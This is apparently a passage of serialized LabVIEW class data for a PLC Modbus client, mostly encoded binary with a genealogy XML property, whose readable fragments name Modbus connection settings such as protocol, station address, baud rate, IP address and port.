JC,&lt;"K&gt;:"N0K0DW,O&lt;L^T\POR$W/183:H&lt;G\/&gt;][ZX`@\@N`PH,M!,$Y4H-579&lt;=%40"4P&amp;AL15!M-!"D#TB10N'^%.T)@!H-D$!DQ1JO9`!NNMB=,%'D7)BSCW)0Q3&gt;+&lt;^@F4'@Q(?TK$9:RM)!%T7+B,83&gt;-"Y5HLN9?-CDDBK#W=&amp;(G#*\I^$_/@&gt;)0IU41L[,N+%&amp;4"'97)@&lt;H?`MD[=3?9(=^3`AQH2)PQ4"7+%J)YR@AC0CV-@IE%T).2?H6I9%(,),$BU[J"O&amp;:+-I8=:3N((.J=M.6&lt;"JC26G:Y8R&lt;GI4I$9YT_8K0,(WYD[S&gt;G*E.:U?+Q42&amp;/VWK;[:K]Y6;Z&gt;7/.L&gt;,M%-98QF&amp;_&lt;?%5^ZGG\)0Q]--0H89!Z%R\\0F:;7$LN_!G&gt;$[UAMK%5,BC/SD!E/Y07!"00S"89LO*5:W:&gt;B(QW'7QX'=AQ'=SU.BD`W5"$U;/SL%IW9?[RT&gt;O`WE7QOE?(41`TA^HAWSQ^HEH@(=QF?D/@C^DB^*V&lt;Q,S%_)*0*%'E&amp;.`M3X'PU?2I/(DS)&lt;M"7.\U;4&gt;O%==UO2*^GD_:X5@=@G68XXX@2@\%P.NR'@"B:RKL)^6(E@E,&lt;8Z/7W56;&gt;B_^]TRN.^-\92X&gt;CR(&gt;I;"V[3:U8T(V[,Y31&lt;@&lt;AG\9S4Y,$V:![B,:3%=X^A@W#/SM9,-5&lt;@99U9UW/^(GQ?LI`L9.X=47AOZ((XX5COZF'LL&gt;$+/COT22GC$IPKHUPOM7?)SCWU=N.G/QR)*&lt;ZK)QTN),;?J`H_*`:JYDI"MQ!&amp;&gt;6$A$P"2H5X(!GH5M0JL&gt;&lt;)H&amp;;9N&lt;AX'%-&lt;M!Q?"P="6VQH`KIJ2"^V.&gt;@@RU@^&gt;SZ=`,I_1Y9&gt;&lt;.ZA&gt;TR,]DH)DW,BJ2BGS2G,7*\M4$?;%K,:ID#H47-[F:((?O:ZFK`9;0HGI(?V;N&gt;'XL\F1E;*?:[H/"+9:SF%SSCSQ\CIVU-D4DIY=/(=6"M1_XI3$99:IIO@KR&gt;RGUD&gt;O&amp;JFQ\3"DM6)!RSH72Y?V=3YQ\3GLP[W`86L*-@VW69T2SUHT@ZV7SL@48&lt;4+PR3US@D6A;=#FJ#\&amp;1TZO)B?F([%:OAMA71(J*S04CCOZFITR%/UL24AC&gt;R3=!`VH&amp;J!^JB5TQ/)ZS&amp;.&amp;IYO'`%^B_D]+WV=T$V7$,+L$V$[:4K=2A,C(+O!V'Z*K!P5$I9H"^%1X+D2+]CY_.J;66"RS,A*O/DTJH$=Z!7BI"N^GN)1CB7UG8$N*K&lt;NVODY$=63S2LNB7\`LV2T7A$.[4;]VG[N"G[N$J;.]&amp;L2K$Q:$D-\:C&amp;ZZW[3"&gt;N#E3^N79OJ:K\`LYZ,NKTYDM_2]$".@0E#(IRAKX^V&lt;C*[5@=O9H+G?70M&lt;BQR&lt;/B-`+=O&lt;S7M'84+%-')I07MP8;1E_0S_E#6^-%7EW?\/*4$+_X:&gt;+Z(;G-X@K#0J@0&lt;%GH+MHVI1P*]G;-#(,-95P028Y=A#FF[:?G:/I+![AID#S*NN?6LX/KAGY9C?73:PA9HG\4'U$.Z*WNJJ-:4MM@C'5=VQ81G6F+NNJL#;+707K9N6.B+D,3U8J''X@I'W8*EX:C%G;KMMV3F0WECG8JGS8ET2.QV-Q7FZGMJ&gt;;J3HW"XB"29_DT4SL.%7&lt;..K-6J7G\(S&lt;.#7W6;5JW[V&amp;J*R!F4YKP6=]#Q^4A3K$MB^$)R;]Q/*5R5WFC?)I]J'*&lt;.]M3\:#41)VXTG=TO4M.(M+;:912+!K)3,R'1G2*%-&amp;KE8K?;OOC0$N_C(#"AH_'3O%=204,%@T2&gt;XL2';]??JN8-X)XC@J;DRE#D,+&amp;YPE[?DV1M.VD_&amp;[A8\^_6`.Z0OPGMD893]]&lt;N1,$4,*_)Q5L(3^!7G'!,A&lt;!&lt;Q*NJJXO(]K3\J,;V1,A?1Q(R@&amp;4#+&lt;N?!9(6IQ/:1DI]^%.OO%A-WB&lt;MV"@T1Y[W8$^1H$^8&amp;TY0YMTX/X)8$4=:YIH1&gt;HG**ZU&amp;WPS("N-*^ZY$R&lt;+[?F7;@IQ8`6@B##Q2?L"`]PRAJT0()P+]?@C_ZV+:W1P,I)?;UEM2`&amp;W$^F*;^&gt;:=FL5YWRHZ&lt;,R&amp;0:_'!OG5\R3&gt;(/9`&gt;-FM=K=^A0[IL$\KUL$PPB"?#Q(UW7QX9\=*D@A=-WIG#+&amp;8DCWS)AFLNR-W-5D[Z'2SQTO*)6GDD98`GI++$MO2(,.GXE;II6O#O%=1;(*U-XF\[%B@!N&gt;?BXL\/*(.=U78@[V&lt;4OBF&lt;.(R_7/2^W.2P]U&gt;1H_S/!QB(&gt;P=YAK,CX4IRQJ&lt;/I80"(5^CQ74]@0II0@^+CM#&amp;&gt;FOTHV*DQSP&lt;+@KQZ\+CSG?H664&lt;=:6@:4&amp;M.+BMS$CK\168:MLY_1&amp;L0#`3[D\;^N&amp;V.W[PUQ_!2K_+G3T?6SDV4@RA][KSY*SIJ&lt;LD0JLAHU'..F21XX'^4X"/12JPKCBM?M#POC2I5._3L+O\CR[8X)+EI&lt;K_3ZX"!S@.3'X:&lt;!4@4),D5)0SG&lt;*Z@^*5&amp;&gt;[6$N:^*]&amp;ORQ(!T9O0N.[CQ;%;D3UU+#PHW+:H^_W4EURB[9!X+H*NFD_C]4`X]9ZV&amp;CQ]&lt;7(3`",]4#\R688BA'A[VRF)M3[53$I[N26XA(@]#Y=7!8JO?DB7;=-DZMLM;S:!O(01CL#;S&gt;RSK5BPYM.11"X:1.[GF:M2?F1R&gt;S?4GLM9+]5SMY&amp;EC][&gt;;F&gt;TY&lt;S9UK7(\N"Q!H\8Q!`F=J!OO]PTQH*%@XJ@ZI2%&amp;UKJ&lt;_&lt;9)YYY)\MBGVP/+ZV8&gt;Z*$2Z)RMUE4Z6TV^7UV0XZ3VF)YA2M^9&gt;*6PC3.'@9D2*47_N@"H=_FB@FMS:Z85JS8@UJJ0Y$2@;E2%""8_LACK%?X]T2?@Z0E&lt;*4@N^+X2&gt;6H0)PSZQL7Y:Z''1&gt;_W?F*LPM([57N_S3&gt;/^ODNXU;ERAF3AVPQ,U=F_&amp;NI&amp;O'VM@$GZ3OPVI#U@/(+K`HM=')Q/:2-:0H=\1E_.&lt;*DG`S[6_P&amp;DW14)J^,]]G5G"QE\XZ*RU2+*,XC`&amp;!GPC02YZ`&amp;&lt;9EMGW9[\@O!E,11$ADB:C%]Q`_"Z@A0.S.^&gt;$/C*MY&gt;G$D\,9HDP?RLP_\TEV@6TIHD8?SQ&amp;ZG*),`%#H)U$.$B!]&lt;%)&lt;]LC3.K;0*?,[0*C'UC^G:@%'R\(6\'N;0^`!OS%`(WW8=CML`0XU\%WW`*JR;%T`R;&gt;C)PW89C;D\^1=WHZ:B0'LZI0C7NC52T+*GC&gt;Z/JQ@3/:/IW_P5*GD3R/(-[MKS:*IYHWM&amp;&amp;/RG^M&amp;RF+CRH3B-IB#W&amp;Z?GS_&lt;'ORPRI(.K?XMHD2C?8=8AF\HNGML6&amp;W[\LV56`O_-\/U6P&gt;W,O&gt;?F5ALOR&lt;^X#'`OOP&gt;;X@M0!QNY.!SXK$4\++\&gt;]M1XL&amp;]9'VBP`J.T3+]'(&gt;6780KKLOP4@S&gt;;FX^PK5G2:U&amp;9KP%)9B$!DB&amp;EBD'8$,91^NJK"/&gt;&amp;LSIH^7$//7'P'L]LG2(?./?%&gt;DG?3O8PM"?0*]Z).XD?G*"O%H\*D07';%+Y_583PODO2=F]@T^TJ'2C/$S&lt;UGH#SHF$O@&lt;/?5/Y^.6G50_;!]J!.Z2Y,SBVEE?=&amp;ESR;A2#`QQ*RT^'S%&amp;^2KST;&amp;B]2_1TK/2P+0=&gt;K0;+VS3,$KS;$/.+0;4UPV20U0'0V!\U'S80]GT_G^:S9\$(N19&gt;DWB&lt;T-7X6]]F_C&gt;VHR$KEA8Q@RPTN&amp;@&lt;RMFCP^DZ+R&lt;IPF^S23)`98[KS4ZQXJ,-`LS?EM\_I*[3T"\ZZJ,/`H#T3&gt;TAA@&lt;L$#YF_C&gt;FF1H-PE*.&lt;S`&gt;8&gt;Z&gt;&amp;]SUV(LAX:X.R_H&lt;._28L;9H:YY$K.P2PVV&gt;&amp;N?5Y.(]JXGS5$U5N='&gt;'\&lt;P?&amp;FT7H!PT&amp;&gt;4\\($HA&lt;RQO2"Q:_[XQVU/R`G$/`.!L-#:8[%UY/08!0=D$H#@59X91@FQ!U+M&gt;'*,F&amp;TDM%SX@*MZBH]#&amp;A+A@:D0I/*)Q67YH$U3N-:[7VY-LC9YZ&amp;:TKY)(W#,$3$#4/]"^/P90\&lt;_AD+X6,0/PQ1#YB3@;O6H`"[H^,_I!!!!!"!!!!.9!!!!%!!!!!!!!!!Q!!5*%3&amp;!!!!!!!!-!!!"F!!!!&gt;8C=9W"A+"3190L(50?8A5HA+Z!B`:?"7&gt;#0]4=$![?@Q'%AT3AA#237`=P!,KA.&amp;N9_IMP"!!7K&lt;)Q=EBS("4H!-BQN'AT```^8+7,E_(LE'FT2%2]Y5W770)=%!'5)':I!!!!!!!!%!!!!"Q!!&amp;,E!!!!)!!!!)6^O;6^-98.U3WZP&gt;WZ0&gt;WZJ&lt;G&gt;-6E.M98.T1WRV=X2F=A!!!=E6!)!!!!!!!1!)!$$`````!!%!!!!!!;U!!!!4!#&amp;!&amp;A!#"H.F=GFB&lt;!&gt;O:82X&lt;X*L!!!*;7ZU:8*G97.F!"^!&amp;A!$!V*5616"5U.*31.51V!!#("S&lt;X2P9W^M!!!61!5!$X.U982J&lt;WYA972E=G6T=Q!.1!=!"X2J&lt;76P&gt;81!$E!B#7.P&lt;GZF9X2F:!!?!$@`````!!16!)!!!!!!!1!%!!!!!1!!!!!!!!!K1(!!$A6*&lt;H.U=A!"!!56!)!!!!!!!1!%!!!!!1!!!!!!!!2Q&lt;X*U!!!01!=!#7*B&gt;71A=G&amp;U:1!01!9!#72B&gt;'%A9GFU=Q!.1!9!"H"B=GFU?1!!$U!'!!FT&gt;'^Q)'*J&gt;(-!%U!'!!RG&lt;'^X)'.P&lt;H2S&lt;WQ!!"J!5!!'!!9!"Q!)!!E!#A!,"H.F=GFB&lt;!!!%E"Q!!5+9W^O&lt;G6D&gt;'FP&lt;A!!&amp;%!Q`````QJJ=#"B:'2S:8.T!!!,1!9!"("P=H1!!"6!"A!/&gt;(*B&lt;H.B9X2J&lt;WYA;71!!"*!5!!%!!U!$A!0!"!$6%.1!#Z!5!!(!!!!!1!#!!-!"!!-!"%95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!"!")!!!!!!!!!$5Z*8UFD&lt;WZ&amp;:'FU&lt;X)!!!VZ&amp;1#!!!!!!!%!$E!Q`````Q2%982B!!!"!!!!!!V8-45Q-$AQ-D1.!!!!!!%8&amp;5RP971A*C"6&lt;GRP971O&lt;(:D&lt;'&amp;T=Q!!!1!!!!!!#1!!$35":!&amp;E5&amp;2)-!!!!!1!!!!!!!!!!!!!!!%!!!!"$QV-98FF=CZM&gt;G.M98.T!!!"!!!!!!!(!!!-O1!!!!!!!!!!!!!-HA!I!!!-G!!!$!!!!!!!!#!!)!!9!!!!!!$```]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!!!!!!!!!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!!!!!!!!!!!!!'4`!'4`!'4`!!!!!'4`!'4`!!!!!!!!!'4`!'4`!!!!!!!!!!!!!'4`!'4`!!!!!!!!!!!!!'4`!'4`!!!!!'4`!'4`!!!!!'4`!'4`!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'4`!!!!!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!'4`!!!!!!!!!!!!!'4`!!!!!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!!!!!!!!!'4`!'4`!!!!!'4`!'4`!!!!!'4`!'4`!!!!!!!!!'4`!!!!!!!!!!!!!'4`!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!!!!!'4`!'4`!!!!!'4`!'4`!'4`!'4`!!!!!!!!!!!!!!!!!'4`!'4`!'4`!!!!!'4`!'4`!!!!!!!!!'4`!'4`!!!!!!!!!!!!!'4`!'4`!!!!!!!!!!!!!'4`!'4`!'4`!!!!!!!!!'4`!'4`!!!!!!!!!!!!!'4`!!!!!!!!!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!!!!!!!!!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!!!!!!!!!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!'4`!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!0```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```@```1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````!!!!"V:*)%FD&lt;WZE!1!#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,5WVB&lt;'QA2G^O&gt;(-!!1I"!!!!!!!!!!!;4&amp;:$&lt;'&amp;T=V"S;8:B&gt;'6%982B6'&amp;C4X*E:8)!!!"J&amp;1#!!!!!!!)!"1!(!!!-!%!!!@````]!!!!"!!%!!!!2!!!!!!!!!!%!!!!#!!!!!Q!!!!1!!!!&amp;!!!!"A!!!!=!!!!)!!!!#1!!!!I!!!!,!!!!$!!!!!U!!!!/!!!!$Q!!!"!!!!!!!!!!'UR71WRB=X.1=GFW982F2'&amp;U962J&lt;76T&gt;'&amp;N=!!!!"E6!)!!!!!!!1!&amp;!!=!!!%!!.Z^K0]!!!!!!!!!*ER71WRB=X.1=GFW982F2'&amp;U95RB=X2"=("M;76E6'FN:8.U97VQ!!!!'25!A!!!!!!"!!5!"Q!!!1!!XHWI`Q!!!!!!!!!;4&amp;:$&lt;'&amp;T=V"S;8:B&gt;'6%982B6(FQ:52F=W-!!!(*&amp;1#!!!!!!!%!#!!Q`````Q!"!!!!!!'N!!!!%Q!B1"9!!A:T:8*J97Q(&lt;G6U&gt;W^S;Q!!#7FO&gt;'6S:G&amp;D:1!@1"9!!Q.36&amp;5&amp;16.$35E$6%.1!!BQ=G^U&lt;W.P&lt;!!!&amp;5!&amp;!!^T&gt;'&amp;U;7^O)'&amp;E:(*F=X-!$5!(!!&gt;U;7VF&lt;X6U!!Z!)1FD&lt;WZO:7.U:71!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!&amp;&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!$U!(!!FC986E)(*B&gt;'5!$U!'!!FE982B)'*J&gt;(-!$5!'!!:Q98*J&gt;(E!!!^!"A!*=X2P=#"C;82T!".!"A!-:GRP&gt;S"D&lt;WZU=G^M!!!;1&amp;!!"A!'!!=!#!!*!!I!#Q:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!"2!-0````]+;8!A972E=G6T=Q!!#U!'!!2Q&lt;X*U!!!61!9!$H2S97ZT97.U;7^O)'FE!!!31&amp;!!"!!.!!Y!$Q!1!V2$5!!O1&amp;!!"Q!!!!%!!A!$!!1!$!!2'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!!1!3!!!!!!!!!"Z-6E.M98.T5(*J&gt;G&amp;U:52B&gt;'&amp;%:GRU2'&amp;U96.J?G5!!!!:&amp;1#!!!!!!!%!"1!$!!!"!!!!!!"!!!!!!!!!!"J-6E.M98.T5(*J&gt;G&amp;U:52B&gt;'&amp;%:GRU2'&amp;U91!!!&gt;M6!)!!!!!!%Q!B1"9!!A:T:8*J97Q(&lt;G6U&gt;W^S;Q!!#7FO&gt;'6S:G&amp;D:1!@1"9!!Q.36&amp;5&amp;16.$35E$6%.1!!BQ=G^U&lt;W.P&lt;!!!&amp;5!&amp;!!^T&gt;'&amp;U;7^O)'&amp;E:(*F=X-!$5!(!!&gt;U;7VF&lt;X6U!!Z!)1FD&lt;WZO:7.U:71!(A!X`````Q!%&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!!+E"Q!!Y&amp;37ZT&gt;()!!1!&amp;&amp;1#!!!!!!!%!"!!!!!%!!!!!!!!%='^S&gt;!!!$U!(!!FC986E)(*B&gt;'5!$U!'!!FE982B)'*J&gt;(-!$5!'!!:Q98*J&gt;(E!!!^!"A!*=X2P=#"C;82T!".!"A!-:GRP&gt;S"D&lt;WZU=G^M!!!;1&amp;!!"A!'!!=!#!!*!!I!#Q:T:8*J97Q!!"*!=!!&amp;#G.P&lt;GZF9X2J&lt;WY!!"2!-0````]+;8!A972E=G6T=Q!!#U!'!!2Q&lt;X*U!!!61!9!$H2S97ZT97.U;7^O)'FE!!!31&amp;!!"!!.!!Y!$Q!1!V2$5!!O1&amp;!!"Q!!!!%!!A!$!!1!$!!2'&amp;"-)%VP:'*V=S"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!!1!3!!!!!!%!!!%M!!!!!!!!!=)!!!A!!A!+!!!!!!!!!!!!!!(W!!!!!!!!!!!!!!!!"!!5!"-!!!!%!!!(\A!!!#A!!!!#!!!%!!!!!$9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#'!!!!Z&gt;YH*W3\WI4124&amp;4\0:**OE3&gt;IU.6&lt;&lt;4N27&lt;56%1&lt;_O")3!1KDV?S@\2R&lt;8H76WUOI(I9`D5`E/0E%^MVE6K3!Y&amp;Z;^=`@?/?=X#_!2*PYW;IUCUIF-GVFE,J4_!(B*:C)&gt;SS$#0D^QH*04&gt;_\,N^0:T$G&gt;TN(+N4)K5#EQ]FXU#S..ID)BQV"(29&amp;VPYGG34Z';GH1]S&gt;?I,)M#EQ59A]PLLB1(_%38'OIF]`6/P*T^.R:6BD.0@&gt;PX^2TJ1X1ZR(?1CZ$I;7*G$&lt;AB&gt;*)M5C-&amp;&gt;"!)Z=[-:_RKB6'Z;P;E'EX4N7&amp;I#KDL9E&gt;@QYWI)E70,42K9!!GR4ENCPZN!BM_5_MA8;3`\+,$E&gt;7OE:]\2ENMU+7$3)*\:1Z,;SDBTY'*=%5X\^^_8J&amp;0\8R`,6YI],&amp;MB$4.)ES]TA^$V*:&amp;&amp;P8#I&amp;*]:STGC7/'BR/\7*D&gt;ZIO#^[85,%I/U7OEX.C%:9)8!:.59=TRJ#*5[6YBB%]AH4C^$V;`K7D4MRK)V)R"DT*Q1W-=&gt;.:BD%&lt;'_#$B^=RQ4X]][KQ#=NV$\&gt;RKYI'OVR3,BG3B_5C/-X7RK5T_T:ERS\W===RHU*KH&gt;0L$O\C[8^YLVH.&amp;.4#G@V\])L4"!\,5WT=*Y/@-;TC_M\PSI-S6PT7],$U?UCH7^AGEQ-=Y@B0B&gt;7^(\.W50(:9.\$A*6O3&lt;6.&gt;2X_?130WA^P6;'/!!!!&gt;Q!"!!)!!Q!&amp;!!!!7!!0!A!!!!!0!.E!V!!!!'%!$Q)!!!!!$Q$:!.1!!!"K!!]#!!!!!!]!W1$5!!!!=Y!!B!#!!!!0!.E!V!!!!(7!!)1!A!!!$Q$:!.1)5W6H&lt;W5A65E)5W6H&lt;W5A65E)5W6H&lt;W5A65E"-!%S!&amp;*45E-.#A!$4&amp;:$1UR#6F=!!$-U!!!%G1!!!#!!!$-5!!!!!!!!!!!!!!!A!!!!.!!!")1!!!!&gt;4%F#4A!!!!!!!!&amp;M4&amp;:45A!!!!!!!!'!5F242Q!!!!!!!!'51U.46!!!!!!!!!'I4%FW;1!!!!!!!!']1U^/5!!!!!!!!!(16%UY-!!!!!%!!!(E2%:%5Q!!!!!!!!)-4%FE=Q!!!!!!!!)A6EF$2!!!!!)!!!)U&gt;G6S=Q!!!!1!!!*Q5U.45A!!!!!!!!,52U.15A!!!!!!!!,I35.04A!!!!!!!!,];7.M.!!!!!!!!!-1;7.M/!!!!!!!!!-E4%FG=!!!!!!!!!-Y5V23)!!!!!!!!!.-2F")9A!!!!!!!!.A2F"421!!!!!!!!.U6F"%5!!!!!!!!!/)4%FC:!!!!!!!!!/=1E2)9A!!!!!!!!/Q1E2421!!!!!!!!0%6EF55Q!!!!!!!!092&amp;2)5!!!!!!!!!0M466*2!!!!!!!!!1!3%F46!!!!!!!!!156E.55!!!!!!!!!1I2F2"1A!!!!!!!!1]!!!!!0````]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E!!!!!!!!!!$`````!!!!!!!!!,A!!!!!!!!!!0````]!!!!!!!!!T!!!!!!!!!!!`````Q!!!!!!!!$5!!!!!!!!!!$`````!!!!!!!!!1!!!!!!!!!!!0````]!!!!!!!!"#!!!!!!!!!!#`````Q!!!!!!!!%Q!!!!!!!!!!$`````!!!!!!!!!5A!!!!!!!!!!0````]!!!!!!!!"K!!!!!!!!!!!`````Q!!!!!!!!'Y!!!!!!!!!!(`````!!!!!!!!!UQ!!!!!!!!!!P````]!!!!!!!!&amp;C!!!!!!!!!!%`````Q!!!!!!!!&lt;U!!!!!!!!!!@`````!!!!!!!!"Q1!!!!!!!!!#0````]!!!!!!!!(&amp;!!!!!!!!!!*`````Q!!!!!!!!=E!!!!!!!!!!L`````!!!!!!!!"T1!!!!!!!!!!0````]!!!!!!!!(2!!!!!!!!!!!`````Q!!!!!!!!&gt;=!!!!!!!!!!$`````!!!!!!!!"X!!!!!!!!!!!0````]!!!!!!!!(^!!!!!!!!!!!`````Q!!!!!!!!HY!!!!!!!!!!$`````!!!!!!!!$@Q!!!!!!!!!!P````]!!!!!!!!/$!!!!!!!!!!!`````Q!!!!!!!!\E!!!!!!!!!!$`````!!!!!!!!'OQ!!!!!!!!!!0````]!!!!!!!!;^!!!!!!!!!!!`````Q!!!!!!!"L]!!!!!!!!!!$`````!!!!!!!!'QQ!!!!!!!!!!0````]!!!!!!!!&lt;?!!!!!!!!!!!`````Q!!!!!!!"O!!!!!!!!!!!$`````!!!!!!!!-%!!!!!!!!!!!0````]!!!!!!!!Q3!!!!!!!!!!!`````Q!!!!!!!$"1!!!!!!!!!!$`````!!!!!!!!-(Q!!!!!!!!!A0````]!!!!!!!!SG!!!!!!55%QA47^E9H6T)%.M;76O&gt;#ZD&gt;'Q!!!!!</Property>
+	<Property Name="NI.LVClass.Geneology" Type="Xml"><String>
+
+<Name></Name>
+
+<Val>!!!!!2B14#".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!5&amp;2)-!!!!!!!!!!!!!!!!!!A!!%!!!!!!!!"!!!!!1!'!&amp;!!!!!"!!!!!!!!!!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!5&amp;2)-!!!!!!!!!!!!!B1A!)!!!!!!!!!!!!!!!!"!!!!!!!"!1!!!!)!+%"Q!!Y&amp;37ZT&gt;()!!"5!A!!!!!!"!!1!!!!"!!!!!!!!"&amp;:*5U%!!%Q!]&gt;2D$D]!!!!#$EV02%*65SZM&gt;G.M98.T#EV02%*65SZD&gt;'Q!+E"1!!%!!"V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!!%!!!!"`````Q!!!!!!!!!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!)5)!#!!!!!!!!!!!!!!!!!1!!!!!!!A%!!!!(!$:!=!!/"5FO=X2S!!!6!)!!!!!!!1!%!!!!!1!!!!!!!"*736.")(*F=W^V=G.F)'ZB&lt;75!!"&gt;!&amp;A!#!V*5616"5U.*31!%47^E:1!!$5!'!!:198*J&gt;(E!!".!"A!-2GRP&gt;S"$&lt;WZU=G^M!!!.1!=!"V2J&lt;76P&gt;81!$U!(!!F#986E)&amp;*B&gt;'5!6A$RV'-0ZA!!!!)/45^%1F64,GRW9WRB=X-+45^%1F64,G.U&lt;!!U1&amp;!!"A!!!!%!!A!$!!1!"2V$&lt;(6T&gt;'6S)'^G)'.M98.T)("S;8:B&gt;'5A:'&amp;U91!"!!9!!!!'````````````````````````````````!!!!!!!!!!!!!!!!*R!!!#7!!!!!!!!"$ERB9F:*26=A4W*K:7.U!&amp;"53$!!!!!!!!!!!!!)5)!#!!!!!!!!!!!!!!!!!1!!!!!!!Q%!!!!(!#B!=!!/"5FO=X2S!!!6!)!!!!!!!1!%!!!!!1!!!!!!!!2736."!!!81"9!!A.36&amp;5&amp;16.$35E!"%VP:'5!!!V!"A!'5'&amp;S;82Z!!!41!9!$%:M&lt;X=A1W^O&gt;(*P&lt;!!!$5!(!!&gt;5;7VF&lt;X6U!!^!!Q!*1G&amp;V:#"3982F!&amp;9!]&gt;2D%&amp;1!!!!#$EV02%*65SZM&gt;G.M98.T#EV02%*65SZD&gt;'Q!.%"1!!9!!!!"!!)!!Q!%!!5&gt;1WRV=X2F=C"P:C"D&lt;'&amp;T=S"Q=GFW982F)'2B&gt;'%!!1!'!!!!"A!!!!!!!!!"!!!!!A!!!!-!!!!%!!!!"1!!!!!!!!!!!!!!!#=1!!!FA!!!!!%/4'&amp;C6EF&amp;6S"09GJF9X1!